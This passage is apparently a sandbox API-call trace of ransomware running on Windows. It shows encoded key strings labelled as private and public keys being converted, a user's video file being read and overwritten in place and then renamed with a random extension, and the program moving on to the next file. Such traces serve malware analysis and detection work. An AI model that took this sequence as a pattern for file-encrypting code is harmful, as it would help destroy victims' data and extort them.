lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.559] GetCurrentThreadId () returned 0xa30 [0127.559] GetCurrentThreadId () returned 0xa30 [0127.559] GetCurrentThreadId () returned 0xa30 [0127.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.560] GetCurrentThreadId () returned 0xa30 [0127.560] GetCurrentThreadId () returned 0xa30 [0127.560] GetCurrentThreadId () returned 0xa30 [0127.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.560] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0127.560] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.560] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x7bb9 [0127.561] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.561] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x7bb9, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x7bb9, lpOverlapped=0x0) returned 1 [0127.563] CloseHandle (hObject=0x1dc) returned 1 [0127.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.567] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f36790*, nNumberOfBytesToWrite=0x7bb9, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f36790*, lpNumberOfBytesWritten=0x18f114*=0x7bb9, lpOverlapped=0x0) returned 1 [0127.571] CloseHandle (hObject=0x1dc) returned 1 [0127.571] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv.zv7un")) returned 1 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] GetCurrentThreadId () returned 0xa30 [0127.572] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58db9f0, ftCreationTime.dwHighDateTime=0x1d5dc03, ftLastAccessTime.dwLowDateTime=0x2686efc0, ftLastAccessTime.dwHighDateTime=0x1d5e47d, ftLastWriteTime.dwLowDateTime=0x2686efc0, ftLastWriteTime.dwHighDateTime=0x1d5e47d, nFileSizeHigh=0x0, nFileSizeLow=0xe355, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="QQ-JA.png", cAlternateFileName="")) returned 1 [0127.572] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.572] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58db9f0, ftCreationTime.dwHighDateTime=0x1d5dc03, ftLastAccessTime.dwLowDateTime=0x2686efc0, ftLastAccessTime.dwHighDateTime=0x1d5e47d, ftLastWriteTime.dwLowDateTime=0x2686efc0, ftLastWriteTime.dwHighDateTime=0x1d5e47d, nFileSizeHigh=0x0, nFileSizeLow=0xe355)) returned 1 [0127.572] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png")) returned 0x20 [0127.573] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png", dwFileAttributes=0x80) returned 1 [0127.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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